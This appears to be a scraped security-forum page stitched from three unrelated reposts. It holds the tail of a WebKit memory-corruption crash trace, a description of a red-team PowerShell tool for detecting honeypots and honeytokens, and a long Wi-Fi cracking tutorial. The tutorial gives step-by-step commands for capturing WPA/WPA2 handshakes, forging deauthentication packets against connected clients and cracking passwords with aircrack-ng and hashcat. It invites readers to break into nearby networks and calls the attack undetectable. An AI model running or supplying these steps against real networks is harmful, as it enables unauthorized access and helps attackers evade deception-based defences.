WebCore::RenderStyle>(WebCore::HTMLInputElement&&&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd5dbd) #8 0x116bd7d30 in WebCore::TextFieldInputType::createInputRenderer(WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2dd5d30) #9 0x114b57c46 in WebCore::HTMLInputElement::createElementRenderer(WebCore::RenderStyle&&, WebCore::RenderTreePosition const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd55c46) #10 0x1165cd605 in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27cb605) #11 0x1165cc2f7 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27ca2f7) #12 0x1165cbc4d in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c9c4d) #13 0x1165cb47b in WebCore::RenderTreeUpdater::commit(std::__1::unique_ptr<WebCore::Style::Update const, std::__1::default_delete<WebCore::Style::Update const> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27c947b) #14 0x1145707e9 in WebCore::Document::resolveStyle(WebCore::Document::ResolveStyleType) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x76e7e9) #15 0x11458f478 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x78d478) #16 0x114b035c0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd015c0) #17 0x11462e093 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c093) #18 0x1145ed386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386) #19 0x11407c997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997) #20 0x1140762aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa) #21 0x1169fdc41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41) #22 0x10ad232eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb) #23 0x10ad26689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689) #24 0x10ad25ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9) #25 0x10a5c6683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683) #26 0x10a3703b5 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xd63b5) #27 0x10a379888 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xdf888) #28 0x1203b0312 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03312) #29 0x1203b0d41 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c03d41) SUMMARY: AddressSanitizer: heap-buffer-overflow (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2694d46) in WTF::VectorBufferBase<WebCore::RecentSearch>::buffer() Shadow bytes around the buggy address: 0x1c240000d470: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x1c240000d480: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x1c240000d490: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x1c240000d4a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x1c240000d4b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x1c240000d4c0: 00 00 00 00 00 00 00 00 00 fa fa fa[fa]fa fa fa 0x1c240000d4d0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x1c240000d4e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1c240000d4f0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa 0x1c240000d500: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x1c240000d510: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==805==ABORTING This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Sursa: https://bugs.chromium.org/p/project-zero/issues/detail?id=1250
-
- 1
-
-
Microsoft PowerShell module designed for red teams that can be used to find honeypots and honeytokens in the network or at the host. CodeExecution Execute code on a target machine using Import-Module. Invoke-HoneypotBuster HoneypotBuster is a tool designed to spot Honey Tokens, Honey Bread Crumbs, and Honey Pots used by common Distributed Deception vendors. This tool will help spot the following deception techniques: 1. Kerberoasting Service Accounts Honey Tokens Just like the one described in the ADSecurity article by Sean Metcalf, this tricks attackers to scan for Domain Users with assigned SPN (Service Principal Name) and {adminCount = 1} LDAP Attribute flag. So when you try to request TGS for that user, you’ll be exposed as Kerberoasting attempt. TGS definition: A ticket granting server (TGS) is a logical key distribution center (KDC) component that is used by the Kerberos protocol as a trusted third party. 2. Fake Computer Accounts Honey Pots Creating many domain computer objects with no actual devices associated to them will result in confusion to any attacker trying to study the network. Any attempt to perform lateral movement into these fake objects will lead to exposure of the attacker. 3. Fake Credentials Manager Credentials Breadcrumbs Many deception vendors are injecting fake credentials into the “Credentials Manager”. These credentials will also be revealed using tools such as Mimikatz. Although they aren’t real, attackers might confuse them as authentic credentials and use them. 4. Fake Domain Admins Accounts Honey Tokens Creating several domain admins and their credentials who have never been active is bad policy. These Honey Tokens lure attackers to try brute-forcing domain admin credentials. Once someone tries to authenticate to this user, an alarm will be triggered, and the attacker will be revealed. Microsoft ATA uses this method. 5. Fake Mapped Drives Breadcrumbs Many malicious automated scripts and worms are spreading via SMB Shares, especially if they’re mapped as Network Drive Share. This tool will try to correlate some of the data collected before to identify any mapped drive related to a specific Honey Pot server. 6. DNS Records Manipulation HoneyPots One of the methods deception vendors use to detect fake endpoints is registering their DNS records towards the Honey Pot Server. They will then be able to point the attacker directly to their honey pot instead of actual endpoints. License The Honeypot buster project and all individual scripts are under the [BSD 3-Clause license] unless explicitly noted otherwise. Usage To install any of these modules, drop the powershell scripts into a directory and type Import-Module PathTo\scriptName.ps1 Then run the Module from the Powershell. Refer to the comment-based help in each individual script for detailed usage information. Sursa: https://github.com/JavelinNetworks/HoneypotBuster
-
- 2
-
-
Wi-Fi Cracking Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat. This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network's security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don't actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document. If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom. DISCLAIMER: This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use. Don't be a dick. Getting Started This tutorial assumes that you: Have a general comfortability using the command-line Are running a debian-based linux distro (preferably Kali linux) Have Aircrack-ng installed sudo apt-get install aircrack-ng Have a wireless card that supports monitor mode (I recommend this one. See here for more info.) Cracking a Wi-Fi Network Monitor Mode Begin by listing wireless interfaces that support monitor mode with: airmon-ng If you do not see an interface listed then your wireless card does not support monitor mode 😞 We will assume your wireless interface name is wlan0 but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode: airmon-ng start wlan0 Run iwconfig. You should now see a new monitor mode interface listed (likely mon0 or wlan0mon). Find Your Target Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface: airodump-ng mon0 You should see output similar to what is below. CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests 14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8 14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0> 14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro 9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme 00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome 06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2 78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2 9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca For the purposes of this demo, we will choose to crack the password of my network, "hackme". Remember the BSSID MAC address and channel (CH) number as displayed by airodump-ng, as we will need them both for the next step. Capture a 4-way Handshake WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don't have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command. # replace -c and --bssid values with the values of your target network # -w specifies the directory where we will save the packet capture airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0 CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS Now we wait... Once you've captured a handshake, you should see something like [ WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time. If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to reconnect, be sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake. See the deauth attack section below for info on this. Once you've captured a handshake, press ctrl-c to quit airodump-ng. You should see a .cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password. I like to rename this file to reflect the network name we are trying to crack: mv ./-01.cap hackme.cap Crack the Network Password The final step is to crack the password using the captured handshake. If you have access to a GPU, I highly recommend using hashcat for password cracking. I've created a simple tool that makes hashcat super easy to use called naive-hashcat. If you don't have access to a GPU, there are various online GPU cracking services that you can use, like https://gpuhash.me/ or OnlineHashCrack. You can also try your hand at CPU cracking with Aircrack-ng. Note that both attack methods below assume a relatively weak user generated password. Most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the Probable-Wordlists WPA-length dictionary files. Cracking With naive-hashcat (recommended) Before we can crack the password using naive-hashcat, we need to convert our .cap file to the equivalent hashcat file format .hccapx. You can do this easily by either uploading the .cap file to https://hashcat.net/cap2hccapx/ or using the cap2hccapx tool directly. cap2hccapx.bin hackme.cap hackme.hccapx Next, download and run naive-hashcat: # download git clone https://github.com/brannondorsey/naive-hashcat cd naive-hashcat # download the 134MB rockyou dictionary file curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt # crack ! baby ! crack ! # 2500 is the hashcat hash mode for WPA/WPA2 HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh Naive-hashcat uses various dictionary, rule, combination, and mask (smart brute-force) attacks and it can take days or even months to run against mid-strength passwords. The cracked password will be saved to hackme.pot, so check this file periodically. Once you've cracked the password, you should see something like this as the contents of your POT_FILE: e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet Where the last two fields seperated by : are the network name and password respectively. If you would like to use hashcat without naive-hashcat see this page for info. Cracking With Aircrack-ng Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist. I recommend using the infamous rockyou dictionary file: # download the 134MB rockyou dictionary file curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt Note, that if the network password is not in the wordfile you will not crack the password. # -a2 specifies WPA2, -b is the BSSID, -w is the wordfile aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap If the password is cracked you will see a KEY FOUND! message in the terminal followed by the plain text version of the network password. Aircrack-ng 1.2 beta3 [00:01:49] 111040 keys tested (1017.96 k/s) KEY FOUND! [ hacktheplanet ] Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4 Deauth Attack A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake "sender" addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with airodump-ng. Use airodump-ng to monitor a specific access point (using -c channel --bssid MAC) until you see a client (STATION) connected. A connected client look something like this, where is 64:BC:0C:48:97:F7 the client MAC. CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS BSSID STATION PWR Rate Lost Frames Probe 9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS Now, leave airodump-ng running and open a new terminal. We will use the aireplay-ng command to send fake death packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process. # -0 10 specifies we would like to send 10 deauth packets # -a is the MAC of the access point # -c is the MAC of the client aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0 Once you've sent the deauth packets, head back over to your airodump-ng process, and with any luck you should now see something like this at the top right: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Now that you've captured a handshake you should be ready to crack the network password. List of Commands Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation. # put your network device into monitor mode airmon-ng start wlan0 # listen for all nearby beacon frames to get target BSSID and channel airodump-ng mon0 # start listening for the handshake airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0 # optionally deauth a connected client to force a handshake aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0 ########## crack password with aircrack-ng... ########## # download 134MB rockyou.txt dictionary file if needed curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt # crack w/ aircrack-ng aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap ########## or crack password with naive-hashcat ########## # convert cap to hccapx cap2hccapx.bin capture/-01.cap capture/-01.hccapx # crack with naive-hashcat HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh Attribution Much of the information presented here was gleaned from Lewis Encarnacion's awesome tutorial. Thanks also to the awesome authors and maintainers who work on Aircrack-ng and Hashcat. Shout out to DrinkMoreCodeMore, hivie7510, hartzell, flennic, bhusang, and Shark0der who also provided suggestions and typo fixes on Reddit and GitHub. If you are interested in hearing some great proposed alternatives to WPA2, check out some of the great discussion on this Hacker News post. Sursa: https://github.com/brannondorsey/wifi-cracking
-
- 1
-